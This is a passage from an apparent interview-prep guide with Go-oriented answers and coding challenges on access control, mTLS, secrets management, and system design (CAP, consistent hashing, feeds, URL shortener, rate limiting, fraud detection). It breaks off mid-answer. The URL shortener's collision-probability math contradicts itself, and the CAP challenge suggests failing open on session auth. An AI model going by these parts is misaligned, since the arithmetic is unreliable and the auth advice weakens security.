Roles: Student, UniversityViewer, UniversityAdmin, DeeptaStaff, DeeptaAdmin

RBAC layer: role defines WHAT resource types are accessible

ABAC layer: attribute policies define WHICH specific instances:

- UniversityAdmin can read applications WHERE application.university_id == user.university_id
- Student can write applications WHERE application.student_id == user.user_id AND application.status != "submitted"
- UniversityViewer can read applications WHERE application.university_id == user.university_id AND application.status IN ("submitted", "under_review")

This is a "ReBAC + RBAC hybrid" approach that most real SaaS platforms use.

Implementation Options:

- Casbin (Go library): supports RBAC, ABAC, policy files, database backends
- OPA (Open Policy Agent): Rego policies, external policy service, great for complex rules
- Custom in your service layer: fine for simpler cases
- Zanzibar/SpiceDB: Google's Zanzibar model, relationship-based (ReBAC), used by Google Docs, ideal for fine-grained resource sharing

IMPLEMENTATION CHALLENGE

Design and implement the RBAC + tenant isolation model in Go for Deepta AI:

- Define permissions as typed constants: Permission string; const ReadApplication Permission = "read:application"
- RolePermissions map: map[Role][]Permission — loaded from PostgreSQL on startup, cached in memory
- UserContext (from JWT): user_id, role, university_id (for university staff/admins)
- Authorize(ctx context.Context, action Permission, resource Resource) error
 - Resource is an interface with UniversityID() string, OwnerID() string, Status() string
 - Check RBAC: does user.role grant this permission?
 - Check ABAC: does user.university_id match resource.UniversityID()? Does user.user_id match resource.OwnerID()?
 - If action is "approve" and resource.Status() == "draft", reject regardless of role
- Implement with OPA: define policies in Rego, expose /api/authz endpoint, cache decisions in Redis

Constraints: role changes must take effect within 60 seconds; new resource types must be addable without code changes (config-driven); implement policy audit endpoint: "why was this request denied?".

FOLLOW-UP PROBES

1. You have a university admin who should only see applications in 'submitted' state, not drafts. Is this RBAC or ABAC? How do you model it?
2. A university pays for an 'early access' tier that lets them see applications before the deadline. How does your ABAC model express this business rule?
3. Your ABAC policy engine (OPA) goes down. Do you fail-open or fail-closed? What's the impact on the platform?
4. How do you test that your authorization model is correct? Describe a testing strategy that proves no unauthorized access is possible.

[A] Advanced *Security & Auth > mTLS & Secrets Management*

Q22: Explain mTLS (mutual TLS). How does it differ from regular TLS, and when would you use it in your Deepta AI microservices?

ANSWER

Regular TLS:

One-way authentication. The SERVER presents its certificate; the CLIENT verifies the server is who it claims to be. The client is not authenticated by certificate — it's either anonymous or authenticated separately (JWT, session, etc.). This is what HTTPS uses.

mTLS (Mutual TLS):

Two-way authentication. BOTH the client AND server present X.509 certificates. The server verifies the client's certificate, and the client verifies the server's. Result: cryptographic proof of identity in BOTH directions. No need for API keys or passwords — the certificate IS the identity.

How it works:

1. Client → Server: ClientHello
2. Server → Client: Certificate, CertificateRequest
3. Client → Server: Client Certificate + Certificate Verify (signature proving private key ownership)
4. Both verify each other's certificate chains against a trusted CA
5. TLS session established with mutual authentication

When to use mTLS:

In your Deepta AI GKE setup, mTLS is ideal for:

- Service-to-service communication within the Kubernetes cluster (replace JWT auth with certificate identity)
- Webhook endpoints: instead of HMAC signatures, require that your webhook provider presents a client certificate (Google supports this for some integrations)
- Admin/internal APIs that should only be accessible to specific services, not the internet

Service Mesh (Istio/Linkerd):

Rather than implementing mTLS in every service, a service mesh handles it at the sidecar level. Istio's Envoy proxy automatically negotiates mTLS between pods. Your Go services don't change — they see plain HTTP from the sidecar; the mesh handles mTLS transparently. This is the recommended approach on GKE.

Certificate Management:

- SPIFFE/SPIRE: workload identity framework that issues short-lived certificates to pods based on their Kubernetes service account — each pod gets a cryptographic identity. Certificates rotate every hour automatically.
- Let's Encrypt + cert-manager: for externally-facing services
- GCP Certificate Authority Service: managed CA for your internal PKI

mTLS vs JWT for service auth:

- mTLS: identity is bound to the network connection; cannot be accidentally logged or stolen from memory as easily; no expiry risk (short-lived certs auto-rotate)
- JWT: more flexible (can carry claims/scopes); works across network boundaries (internet, not just internal); can be inspected for debugging
- Recommendation: mTLS for same-cluster service communication, JWT for cross-cluster or cross-internet

IMPLEMENTATION CHALLENGE

Configure mTLS between two of your Deepta AI Golang microservices:

- Generate a root CA (using Go's crypto/x509 and crypto/elliptic)
- Issue service certificates: auth-service.deepta.internal, api-gateway.deepta.internal
- Configure tls.Config in the auth service's gRPC server: RequireAndVerifyClientCert, load CA cert pool, load server cert
- Configure tls.Config in the API gateway's gRPC client: load client cert + key, load CA cert pool, verify server name
- Implement certificate rotation: watch for cert file changes (fsnotify), hot-reload without restarting

Alternative: implement using Kubernetes secrets + init containers that mount certs, and a cert-manager ClusterIssuer for automated renewal.

Constraints: certificate validity: 24 hours (short rotation window); must handle cert rotation without dropping in-flight requests (keep old TLS config active until all existing connections close); implement health check that verifies cert expiry and alerts if < 6 hours remaining.

FOLLOW-UP PROBES

1. Your mTLS setup uses a shared CA. The CA private key is compromised. What is your incident response?
2. How does mTLS interact with your existing JWT authentication? Do you need both?
3. A developer wants to test the auth service locally without the mTLS setup. How do you support both mTLS in production and plain HTTP in development?
4. Istio on GKE handles mTLS for you. What do you lose (and gain) compared to implementing mTLS in your Go code directly?

[M] Mid Security & Auth > Secrets Management

Q23: How do you manage secrets (API keys, database passwords, JWT signing keys) in your GCP GKE setup? What's wrong with storing secrets in environment variables or code?

ANSWER

What Not To Do:

Hardcoded in code: `SELECT * FROM history WHERE password='hardcoded'` — attackers who get your source code (repo breach, disgruntled employee) have all secrets. Git history is forever — even if you remove it later, it's often in commit history.

Environment variables (naked): Better than hardcoding but still problematic. Environment variables are:

- Often logged (error dumps, container logs, debugging tools print all env vars)
- Accessible to any process running as the same user
- Visible in Kubernetes pod specs (`kubectl describe pod` shows env vars)
- Stored in `.env` files that get committed accidentally
- Cannot be rotated without redeploying

Docker secrets: Better — secrets injected as files, not env vars. Not widely used in GKE.

The Right Approach — GCP Secret Manager:

Your architecture (GCP GKE) should use GCP Secret Manager with Workload Identity:

1. **Store secret in Secret Manager:** `gcloud secrets create jwt-signing-key --replication-policy=automatic`

2. Grant access via Workload Identity: Bind GKE Service Account to GCP Service Account; grant roles/secretmanager.secretAccessor to the GCP SA

3. Access in Go without any credentials in code:

```
import "cloud.google.com/go/secretmanager/apiv1"

client.AccessSecretVersion(ctx, &secretmanagerpb.AccessSecretVersionRequest{Name:
"projects/deepta/secrets/jwt-signing-key/versions/latest"})
```

4. Workload Identity: Pod gets an identity token automatically; GCP grants access to Secret Manager based on that identity — NO service account key files needed

Secret Rotation:

- GCP Secret Manager supports multiple versions; new version = new secret value
- Your app caches the secret with a TTL (e.g., 5 minutes); fetches new version on cache miss
- Zero-downtime rotation: publish new version → your services pick it up within 5 minutes → old version disabled
- For JWT signing keys: support two active keys (current + previous) during rotation window

Kubernetes Native (if not GCP):

- Kubernetes Secrets: base64-encoded (not encrypted) by default in etcd — must enable etcd encryption at rest
- External Secrets Operator: syncs from Vault/AWS Secrets Manager/GCP Secret Manager into Kubernetes Secrets
- Sealed Secrets: encrypt secrets for GitOps storage

HashiCorp Vault:

Gold standard for polycloud. Dynamic secrets (Vault generates a short-lived PostgreSQL password per request), lease/renewal model, audit logs, fine-grained policies.

IMPLEMENTATION CHALLENGE

Implement a secrets manager client in Go for your Deepta AI GCP setup:

- SecretManager interface: GetSecret(ctx, name string) (string, error)
- GCPSecretManager: fetches from GCP Secret Manager using Application Default Credentials
- CachingSecretManager: wraps any SecretManager, caches with TTL=5min, background refresh 1min before expiry
- FallbackSecretManager: primary (GCP) → fallback (environment variable for local dev)
- Implement GetRotatingKey(ctx, name string) (current, previous string, err error): fetch current and previous versions for JWT key rotation support
- ConfigureFromSecrets(ctx) error: on startup, fetch all required secrets, validate they're non-empty, fail fast if any are missing

Constraints: secrets must never be logged; implement redaction for any error messages containing secrets; metrics: secret_fetch_latency_ms, secret_cache_hits_total, secret_rotation_events_total; test with a mock that simulates GCP API failures.

FOLLOW-UP PROBES

1. A developer accidentally commits a GCP Service Account key to GitHub. Walk me through your immediate incident response steps.
2. Your PostgreSQL password is stored in GCP Secret Manager. You rotate it. What happens to existing database connections in your connection pool?
3. Workload Identity relies on the Kubernetes service account being correctly configured. What happens if misconfigured — how do you debug 'permission denied' errors on Secret Manager?
4. You're moving from GCP to multi-cloud (GCP + AWS). How do you abstract secrets management so code doesn't change?

Category 12: System Design (FAANG-Tier)

14 questions [E] 1 [M] 6 [A] 0 [P] 7

[E] Easy System Design > Fundamentals

Q1: Explain the CAP theorem. In the context of your Deepta AI platform (PostgreSQL + Redis + Kafka), which systems are CP and which are AP?

ANSWER

CAP Theorem:

A distributed system can provide at most TWO of three guarantees simultaneously:

- **Consistency (C):** Every read returns the most recent write (or an error). All nodes see the same data at the same time.
- **Availability (A):** Every request receives a response (not necessarily the most recent data). No timeouts or errors.
- **Partition Tolerance (P):** The system continues to operate even when network partitions occur (some nodes cannot communicate).

The critical insight: network partitions WILL happen in any distributed system. You cannot choose to sacrifice P — you choose between C and A when a partition occurs.

CP Systems (Consistency + Partition Tolerance):

When a partition occurs, a CP system prefers to return an error or wait rather than return potentially stale data.

- **PostgreSQL (with synchronous replication):** Primary refuses writes until at least one replica acknowledges — guarantees no data loss, but if the replica is unreachable, writes are blocked (unavailable). Your primary relational database at Deepta AI for student applications — correctness is critical (application status, payment records).
- **ZooKeeper, etcd, Consul:** Used for distributed coordination; prefer consistency.
- **Redis Cluster (with WAIT command):** Can be configured for consistency.

AP Systems (Availability + Partition Tolerance):

When a partition occurs, an AP system prefers to return (possibly stale) data rather than an error.

- **Redis (default, single-instance or without WAIT):** If a primary fails and replica is promoted, there may be a brief window of lost writes. Redis prioritizes availability — it always responds. Your caching and session layer at Deepta AI uses Redis — stale cache is acceptable; lost cached data is recoverable.
- **Kafka:** Designed for availability. A Kafka partition leader failure causes a brief unavailability until a new leader is elected, but the system as a whole stays available. AP for the messaging plane.
- **Cassandra, DynamoDB (default):** Eventual consistency, highly available.

PACELC (Extension of CAP):

Even without partitions, there's a latency-consistency tradeoff:

- Lower latency often means writing to fewer nodes (less consistent)
- Higher consistency (waiting for all replicas) means higher latency

PostgreSQL with `synchronous_commit=on`: C at the cost of L (latency). Redis: L (low latency) at the cost of some C.

For Your Platform:

Use CP for student applications (correctness critical), AP for caching (speed critical, stale data acceptable), and acknowledge that Kafka's at-least-once delivery requires idempotent consumers.

IMPLEMENTATION CHALLENGE

Design a system for your Deepta AI platform that explicitly handles the CAP tradeoff for different data types:

- Student application status: CP (PostgreSQL with sync replication). If replicas are unavailable, return error rather than stale status
- Session/auth tokens: AP (Redis). Serve stale session data for up to 60 seconds if Redis partition occurs (fail-open for auth to preserve availability)
- Real-time lead feed: AP (Kafka). Out-of-order or duplicate messages are acceptable; deduplicate on consumer side
- University configuration: CP (etcd or Consul). Config changes must be consistent across all services

Write a Go health check that reports each system's current status and detected partition scenarios. Implement a circuit breaker per system with different behaviors (fail-open vs fail-closed) based on the C vs A choice for that system.

FOLLOW-UP PROBES

1. Your PostgreSQL primary is unreachable. Your Go service has a replica available. Do you: serve reads from replica, serve writes from replica, or return errors? How does this relate to CAP?
2. Redis goes down. Your session store is unavailable. Users get logged out. Is this a C, A, or P failure?
3. Explain why you can't have a CA system in a distributed environment (no partition tolerance).
4. PACELC says: even without partitions, you trade latency for consistency. How does this apply to your PostgreSQL replication configuration?

[M] Mid *System Design > Fundamentals*

Q2: Explain consistent hashing. Why is it used in distributed caches, and what problem does it solve over naive modulo hashing?

ANSWER

The Problem with Naive Modulo Hashing:

In a simple approach, you assign a key to a cache node using: $\text{node} = \text{hash}(\text{key}) \% N$ where N is the number of nodes.

This works fine until you add or remove a node. When N changes to $N+1$:

- Nearly all keys ($N/(N+1) \approx 90\%+$ for large N) map to a DIFFERENT node
- Massive cache miss storm: all those keys must be re-fetched from the database
- If you have 1M users and 10 nodes, adding an 11th node invalidates $\sim 91\%$ of cached sessions
- This creates a thundering herd on your database at the worst possible time

Consistent Hashing Solution:

Map both keys AND nodes onto a virtual ring (0 to 2^{32}). To assign a key: hash it → find its position on the ring → walk clockwise to the first node. When you add or remove a node, only $1/N$ of the keys need to remapping — only those in the arc before the new/removed node.

Virtual Nodes (vNodes):

A single node is mapped to multiple positions on the ring (e.g., 150 virtual nodes per physical node). This ensures:

- Even load distribution (without vNodes, random placement causes hot spots)
- Smaller redistribution granularity on node change

- If Node A has 3× the capacity, give it 3× the vNodes

In Your Deepta AI Redis Setup:

Redis Cluster already uses consistent hashing internally (it divides the ring into 16384 hash slots). But if you were sharding Redis manually (e.g., Redis Sentinel with multiple masters):

- Consistent hashing ensures adding a new Redis shard only relocates $\sim 1/N$ keys
- Student session keys hash to the same Redis node across restarts
- Changing from 3 to 4 Redis nodes only disrupts $\sim 25\%$ of keys, not $\sim 75\%$

Replication Factor:

To handle node failures, each key is typically replicated on the next K nodes clockwise (K=3 for Cassandra-style replication). A single node failure only affects $1/N$ keys, and replicas handle the load.

IMPLEMENTATION CHALLENGE

Implement a consistent hash ring in Go for routing Redis client requests:

- ConsistentHashRing struct with virtual nodes
- AddNode(name, address string, weight int): add $\text{weight} \times 100$ virtual nodes, position = $\text{hash}(\text{name} + "-" + i)$ for i in $0..\text{weight} \times 100$
- RemoveNode(name string): remove all virtual nodes for this physical node
- GetNode(key string) string: hash the key, find the next clockwise node
- GetNodes(key string, n int) []string: get n nodes clockwise for replication

Use sync.RWMutex for concurrent access. Hash function: FNV-1a (fast, good distribution).

Test:

- With 3 nodes, add a 4th: measure what % of 10k test keys change target nodes (should be $\sim 25\%$)
- Compare with modulo hashing (should be $\sim 75\%$)
- Verify even distribution: with $\text{weight}=1$ for all nodes, each gets $\sim 33\% \pm 5\%$

Bonus: implement jump consistent hash algorithm and compare performance.

FOLLOW-UP PROBES

1. What happens when a node dies in your consistent hash ring? The key maps to a dead node.
2. Consistent hashing solves redistribution, but doesn't guarantee even load if keys are non-uniform. What technique addresses this?
3. Redis Cluster uses 16384 hash slots, not a full ring. What are the tradeoffs?
4. If your consistent hash ring has 3 nodes and you want 3x replication (each key on 3 nodes), how do you implement that? What consistency guarantee does this give you?

[P] **Principal** System Design > Full System Design

Q3: Design a Twitter/X-style social feed system. Handle the fan-out problem for celebrities with 50M followers. Start from scratch.

ANSWER

Requirements Clarification:

- Functional: post tweet, follow/unfollow, read home timeline (tweets from people you follow), user profile timeline
- Non-functional: 200M DAU, tweet rate 5K/s (peak), timeline read rate 300K/s (peak), 7-day feed freshness, p99 read latency < 100ms
- Scale: 200M users, some users (celebrities) have 50M+ followers

API Design:

POST /tweets → {tweet_id} (create tweet)

GET /timeline?cursor={next_cursor}&limit=20 → {tweets[], next_cursor}

POST /follow {user_id}

DELETE /follow/{user_id}

Data Model:

- tweets(tweet_id UUID PK, user_id, content VARCHAR(280), media_urls[], created_at, like_count, retweet_count)
- follows(follower_id, followee_id, created_at) — composite PK
- user_timeline_cache: Redis sorted set per user, score=timestamp, member=tweet_id

The Core Problem: Fan-out on Write vs Fan-out on Read:

Fan-out on Write (Push model):

When user A posts a tweet, immediately push tweet_id to the Redis sorted set of ALL A's followers.

- Pro: reads are $O(1)$ — just read your pre-computed timeline
- Con: posting a tweet from a celebrity with 50M followers requires 50M Redis writes → can take minutes, blocks the post response
- Suitable for: regular users with $< \sim 10K$ followers

Fan-out on Read (Pull model):

Don't push. When user B reads their timeline: look up everyone B follows, fetch their recent tweets, merge-sort by time.

- Pro: post is instant; no fan-out work
- Con: reads are expensive — if B follows 500 people, that's 500 DB/cache lookups per timeline read; hard to achieve $< 100ms$ p99
- Suitable for: celebrities (read their tweets on-demand from a user-specific cache)

Hybrid Approach (Twitter's actual approach):

- Regular users ($\leq 10K$ followers): fan-out on write. Timeline precomputed in Redis.
- Celebrities ($> 10K$ followers): fan-out on read. Not pushed to followers' timelines.
- On timeline read: load precomputed timeline from Redis + fetch recent posts from celebrities the user follows (a small number), merge-sort in real time.

Architecture:

1. User posts tweet → saved to Cassandra/PostgreSQL tweets table
2. A Kafka event is published: {user_id, tweet_id, follower_count}
3. Fan-out service consumes the event:
 - If follower_count $< 10K$: fetch follower list from follows table → async batch-write tweet_id to each follower's Redis sorted set (ZADD timeline:{follower_id} timestamp tweet_id), ZREMRANGEBYRANK to keep only 800 most recent
 - If follower_count $\geq 10K$: skip fan-out; mark tweet in celebrity_tweets:{user_id} sorted set
4. On timeline read:
 - Fetch from Redis: ZREVRANGE timeline:{user_id} 0 19 → tweet IDs
 - For each celebrity the user follows: ZREVRANGE celebrity_tweets:{celeb_id} 0 4 → recent celeb tweets

- Merge by timestamp
- Hydrate tweet content from tweet cache (Redis or Cassandra)
- Paginate using cursor = last tweet's timestamp

Storage:

- Tweets: Cassandra (write-heavy, time-series, scale horizontally) or sharded PostgreSQL
- Timeline cache: Redis Cluster (16 shards, 16GB each = 256GB total)
- Follow graph: PostgreSQL (relational, joins, but can also use a graph DB for large-scale)
- Media: S3/GCS with CDN (CloudFront/Fastly)

Bottlenecks and Deep Dives:

- Hot celebrity posts: cached separately, fetched by a special celeb-tweet service
- Follower list for fan-out: paginated from PostgreSQL follows table, batched fan-out workers (Go goroutines)
- Timeline cache eviction: sorted set with max size 800, evict oldest on new insert
- New follower: reads celebrity's last 20 tweets and backfills into their timeline
- Delete/edit tweet: update tweet store + send Kafka event to invalidate all cached timelines (impractical at scale
→ soft delete, mark as deleted, filter on read)

IMPLEMENTATION CHALLENGE

Design constraint from the interviewer: Now add multi-region support. Users in India should see their timeline served from an Indian data center with < 50ms latency. Global celebrity posts must appear in all regions within 5 seconds.

Region-aware design:

- Each region has its own Redis cluster and Kafka cluster
- Tweets written to the user's home region → replicated to other regions via Kafka cross-cluster mirroring (MirrorMaker 2)
- Timeline cache is regional: ZADD with regional Redis cluster
- Celebrities: stored globally (replicated to all regions), served from local regional cache
- Follow graph: globally replicated PostgreSQL (multi-region writer with CRDTs or single write region + read replicas)

Data residency consideration: if Indian users' data must stay in India (PDPA/DPDP), their tweet content never leaves the Indian region. Indian celebrity timelines are computed differently — tweet content stored in India, metadata replicated globally.

FOLLOW-UP PROBES

1. A celebrity with 200M followers posts. Your fan-out service tries to push to 200M Redis queues. It takes 2 hours. How do you handle this at read time and reduce fan-out cost?
2. The timeline cache Redis cluster goes down for 5 minutes. 200M users are reading timelines from DB. What's your degradation strategy?
3. You now add a 'topics you follow' feed (not just people). How does fan-out change when a topic can have 500M followers?
4. Now add compliance: EU users' tweets cannot be stored on non-EU servers. How does this affect your Kafka replication and storage layers?

[M] Mid System Design > Full System Design

Q4: Design a URL shortener service (like bit.ly). Cover the full design including hashing, collision handling, analytics, and high availability.

ANSWER

Requirements:

- Functional: shorten URL, redirect shortened URL to original, optional custom aliases, analytics (click count, referrer, device)
- Non-functional: 100M URLs created/day, 10B redirects/day (100:1 read-heavy), redirect p99 < 10ms, URLs never expire (or configurable TTL)
- Scale: ~1 billion URLs total over 5 years; 10B reads/day = ~115K reads/second

API Design:

POST /shorten {long_url, custom_alias?, ttl?} → {short_code, short_url}

GET /{short_code} → 301/302 redirect to long_url

GET /analytics/{short_code} → {clicks, referrers, countries}

The Core: Generating Short Codes

Option 1: MD5 Hash + Truncation

- MD5(long_url) → 128-bit hash → take first 6 chars of base62 encoding
- Problem: collisions — different URLs can produce same first 6 chars; two people shortening the same URL get the same code (desired behavior? depends on requirements)
- Collision handling: store {short_code: long_url} in DB; on collision, check if long_url matches (same URL: return existing code) or append a counter and retry

Option 2: Auto-Increment ID + Base62 Encoding

- DB auto-increment ID → encode in base62 (a-z A-Z 0-9 = 62 chars)
- 6 chars of base62 = $62^6 = 56$ billion unique codes (more than enough)
- No collision possible, deterministic
- Problem: IDs are sequential, predictable (enumerable), which leaks volume
- Solution: use a distributed ID generator (Snowflake-style) for uniqueness without central DB bottleneck

Option 3: Random + DB Unique Check

- Generate random 6-char base62 string; INSERT; retry on unique constraint violation
- Probability of collision at 1B entries with 62^6 space ≈ very low (birthday paradox: $\sim 1.8 \times 10^{10}$ space, so after 1B entries the probability of a collision on a given insert is $\sim 1B/18B \approx 5\%$ — acceptable with retry)

Recommended: Counter per partition (Zookeeper range approach)

- Assign ranges to each app server: server 1 gets 1-1M, server 2 gets 1M-2M, etc.
- No coordination needed within a range
- When range exhausted, request new range from Zookeeper/etcd

Data Model:

- urls(short_code VARCHAR(8) PK, long_url TEXT, user_id, created_at, expires_at, click_count BIGINT)
- clicks(click_id, short_code, timestamp, ip_hash, country, device_type, referrer) — sharded by short_code, partitioned by day

Redirect Architecture:

- Request hits load balancer → app server (global CDN edge preferred)
- App server: Redis GET short:{short_code}?
 - Cache hit: return 301 redirect immediately
 - Cache miss: PostgreSQL/Cassandra lookup → cache → redirect
- Cache TTL: 24 hours (popular URLs get cached), LRU eviction

Analytics (async, don't block redirect):

- On redirect: publish {short_code, timestamp, ip, user_agent, referer} to Kafka topic
- Analytics consumers: update click_count in Redis (INCR), batch-write to Cassandra click events
- Real-time dashboard: read from Redis counters (fast) + historical from Cassandra

301 vs 302:

- 301 Permanent: browser caches the redirect → subsequent requests go directly to destination, bypassing your server → lose analytics tracking
- 302 Temporary: browser always goes through your server → captures all analytics
- For analytics: use 302. To reduce load: use 301 for well-known, stable URLs.

High Availability:

- Multi-region: app servers in each region; PostgreSQL write primary in one region, read replicas globally; Redis cluster per region
- CDN edge: serve cached redirects from edge nodes (< 5ms globally)
- Soft deletes: never hard-delete a short code; mark as expired, return 410 Gone

IMPLEMENTATION CHALLENGE

Implement the URL shortener short code generator in Go:

- Counter-based: use Redis INCRBY to claim ranges of 1000 IDs per server instance; locally convert counter to base62 string
- Base62 encoder: func toBase62(n int64) string — must produce exactly 6 chars (left-pad with '0' equivalent)
- RedirectHandler: Redis GET → miss → PostgreSQL SELECT → Redis SET (with TTL) → return 302; record analytics event to Kafka asynchronously (don't block response)
- Custom alias: user provides "my-promo"; check availability → INSERT; reject if taken

Analytics Kafka producer:

- Non-blocking: use buffered channel of ClickEvent; background goroutine batches to Kafka producer (batch size 100 or 100ms timeout)
- If channel full (backpressure): drop analytics event, increment dropped_events_total metric (analytics loss is acceptable; redirect must never fail)

Performance target: redirect p99 < 5ms (cache hit), < 50ms (cache miss with DB lookup).

FOLLOW-UP PROBES

1. Your Redis cache is full and starts evicting. Popular URLs get evicted and suddenly hammer your PostgreSQL. What's your defense?
2. A marketing campaign generates 10M hits on one short URL in 1 hour. Describe the hot key problem and mitigation.
3. You need to support URL expiry — after 30 days, the short URL should return 404. How do you implement cleanup without scanning the entire table?
4. Now add multi-tenancy: enterprise customers get their own domain (acme.short.io). How does the routing layer change?

[P] **Principal** System Design > Full System Design

Q5: Design a distributed rate limiter that works across 100 microservices. It must handle 1M requests/second globally with < 2ms overhead per request.

ANSWER

Requirements:

- 1M requests/second across 100 microservices
- Per-user limits (1000 req/min), per-service limits (100K req/min), global limits (1M total)
- < 2ms added latency
- Handle Redis failures gracefully
- Support multiple algorithms (fixed window for simplicity, sliding window for accuracy)

Architecture Decision: Where to Rate Limit?

Options: in each service (distributed), in API gateway (centralized), hybrid.

- Centralized API gateway: single place to enforce limits; gateway becomes bottleneck; simpler implementation
- In each service: complex; limits must be coordinated; but allows service-specific limits
- Recommended hybrid: API gateway for global + per-user limits; services for their own resource limits

Counter Storage — Redis:

For global coordination, all services must share a counter store. Redis is the right choice:

- Single-digit ms latency
- Atomic INCR + EXPIRE in Lua scripts
- Redis Cluster for horizontal scale (16 shards)

Algorithm: Sliding Window Counter (Approximate):

Two Redis keys: `rate:{user_id}:{prev_minute}` and `rate:{user_id}:{curr_minute}`

Estimated count = $\text{prev_count} \times (1 - \text{elapsed_seconds}/60) + \text{curr_count}$

If estimated count > limit: reject

Single Lua script (atomic):

```
local prev = tonumber(redis.call("GET", KEYS[1]) or 0)
local curr = tonumber(redis.call("INCR", KEYS[2]))
redis.call("EXPIRE", KEYS[2], 120)
local elapsed = tonumber(ARGV[1])
local estimate = prev * (1 - elapsed/60) + curr
if estimate > tonumber(ARGV[2]) then
    redis.call("DECR", KEYS[2])
    return {0, math.floor(estimate)}
end
return {1, math.floor(estimate)}
```

Performance at 1M req/s:

- 1M Redis calls/second = too much for a single Redis
- Solution: Local token bucket cache + periodic Redis sync

Local Cache + Redis Sync Pattern:

Each service instance maintains a LOCAL token bucket (in-memory, goroutine-safe).

Periodically (every 100ms) sync with Redis:

- Fetch global count from Redis
- Calculate local available tokens: $\text{global_limit} \times (\text{local_capacity} / \text{total_capacity})$
- Replenish local bucket based on global state

This means Redis is hit every 100ms per user (not per request):

1M users × 1 sync/100ms = 10M Redis ops/second → still high

Optimization: only sync for users who are near their limit; under 50% usage, use pure local counter.

Token Bucket local implementation in Go:

- sync.Map of userID → *TokenBucket
- Each bucket: tokens float64, lastRefill time.Time, mu sync.Mutex
- On request: acquire mu, refill based on elapsed time, check tokens
- Background goroutine every 100ms: for buckets with tokens < 20%: sync with Redis

Redis Failure Handling:

- Maintain a circuit breaker on the Redis client
- On Redis failure: fail-open (allow all requests, log the failure) for user-facing APIs
- Fail-closed only for admin/payment APIs where abuse risk > availability cost
- Local buckets continue operating independently during Redis outage

Multi-level Rate Limiting:

1. Layer 1 (local, < 0.1ms): per-IP burst protection, in-memory, no Redis
2. Layer 2 (Redis, ~1ms): per-user sliding window
3. Layer 3 (Redis, ~1ms): global service capacity

Headers:

X-RateLimit-Limit: 1000

X-RateLimit-Remaining: 847

X-RateLimit-Reset: 1720000060

Retry-After: 42 (seconds until next window)

IMPLEMENTATION CHALLENGE

Mid-design constraint from interviewer: Now support rate limiting by subscription tier — Free tier (100 req/min), Pro (1000 req/min), Enterprise (unlimited). Limits must update within 30 seconds of plan change. How do you modify your design?

Changes needed:

- User limit is no longer static: look up limit from user tier
- Tier stored in Redis: user_tier:{user_id} → "pro" with TTL=60s (refreshed on each request from user service or event)
- Kafka event on tier change → consumer updates Redis immediately + publishes to Redis pub/sub → all instances clear their local cache for that user
- Enterprise users bypass Redis check entirely (check tier flag in local cache)
- Limit lookup: sub-millisecond if cached locally per user, refresh every 30s

Go implementation:

- UserTierCache: sync.Map of userID → {tier, limit, cachedAt}
- Refresh if cachedAt > 30 seconds ago: async goroutine refreshes from Redis (don't block the request)
- Redis pub/sub subscriber: on tier_change event, delete from local cache immediately
- RateLimiter.Allow(ctx, userID string) (allowed bool, remaining int, resetAt time.Time)

FOLLOW-UP PROBES

1. Your local token bucket says 'allow' but Redis says the global limit is exceeded. Which wins? How do you reconcile?
 2. One of your 100 microservices has a bug and generates 10x its normal traffic. Your rate limiter has no per-service limit. Walk me through the cascading failure and what you add.
 3. Distributed rate limiting has a synchronization lag. A user on two different app servers can briefly exceed their limit during the sync window. Is this acceptable? If not, how do you solve it?
 4. You need to implement 'burst then throttle': allow 200 requests instantly, then 10 per second after that. Which algorithm handles this, and how do you configure it?
-

[P] Principal *System Design > Full System Design*

Q6: Design your PayGuard AI fraud detection platform as a production system. You built this project — now design it to handle 100K transactions/second with < 100ms fraud decision latency.

ANSWER

This is Gautham's PayGuard AI project scaled to production. Use the actual architecture and stress-test it.

Requirements:

- 100K transactions/second peak (Black Friday scale)
- Fraud decision in < 100ms (synchronous, before payment completes)
- Multi-agent analysis: QR code, URL analysis, behavioral signals
- Real-time streaming results to fraud analysts
- < 0.1% false positive rate (don't block legit transactions)
- Regulatory: audit trail for every decision

Current Architecture (from your project):

FastAPI + React frontend, LangGraph multi-agent, Band SDK, real-time streaming. This handles tens of transactions/second. Need to scale to 100K/s.

Scaled Architecture:

Ingestion Layer:

- Load balancer (Layer 7) → PayGuard API Gateway
- API Gateway: auth, rate limiting, request routing
- Two paths:
 1. Fast path (< 20ms budget): rule-based + cached ML model
 2. Slow path (< 100ms budget): LangGraph multi-agent analysis

Fast Path (handles 95% of traffic):

- Rule engine: deterministic rules in Redis (velocity checks, known bad actors, device fingerprint)
 - ZADD user_txns:{user_id} timestamp txn_id + ZCOUNT to check velocity (> 5 txns in 10 seconds = flag)
 - GET blocked_cards:{card_hash} — instant block list check
 - Check device fingerprint against known device list
- If rules pass: invoke ML model (lightweight gradient boosting, not LLM)
 - Model inference via TorchServe/FastAPI on GPU cluster
 - Input features: amount, merchant category, hour, user velocity, device, geo
 - Output: fraud probability score (0.0-1.0)

- If score < 0.3: approve (fast path, < 20ms)
- If score >= 0.3: escalate to slow path

Slow Path (handles 5% of traffic, escalated by fast path):

- LangGraph multi-agent pipeline (your existing project logic, scaled):
 - QR Agent: analyze QR code payload for known phishing patterns
 - URL Agent: check URLs against Google Safe Browsing API, extract domain reputation
 - Behavioral Agent: analyze user's recent transactions from Kafka consumer lag
 - Pattern Agent: check merchant ID against known fraud clusters
 - Coordinator Agent: aggregate signals, make final decision
- Each agent call: async with timeout (20ms each, parallel where possible)
- Total slow path budget: 80ms (20ms fast path overhead + 60ms agent pipeline)
- Use `asyncio.gather` for parallel agent execution in your FastAPI agents

Kafka Integration:

- Every transaction → Kafka topic "transactions" (partition by user_id)
- Fast path decision → "fast_decisions" topic
- Slow path escalation → "escalation_queue" topic
- Final decisions → "fraud_decisions" topic
- Risk analysis consumers for offline ML training (feature store)

Feature Store:

- Real-time features: Redis (velocity, recent device, current session risk)
- Batch features: Cassandra (user's 30-day history, merchant risk score)
- Feature pipeline: Kafka → Flink → Redis/Cassandra (keep features fresh)

Streaming to Fraud Analysts:

- Your PayGuard uses SSE (Server-Sent Events) — at scale, use WebSocket with sticky sessions via Redis pub/sub
- Fraud analyst UI: subscribes to high-risk transaction stream
- Redis pub/sub channel: fraud_alerts → WebSocket server → analyst browser

Scaling LLM/Agent Tier:

- LangGraph agents are expensive (LLM API calls)
- Only escalate ~5% of transactions to agent tier → 5K/second
- Agent pool: 50 FastAPI workers, each handling 100 concurrent async calls = 5000 concurrent
- LLM: batch requests to Claude/GPT API; implement backpressure if agent queue depth > 10K
- Cache common fraud patterns: HMAC of transaction features → cached decision (TTL 1 hour)

Audit Trail:

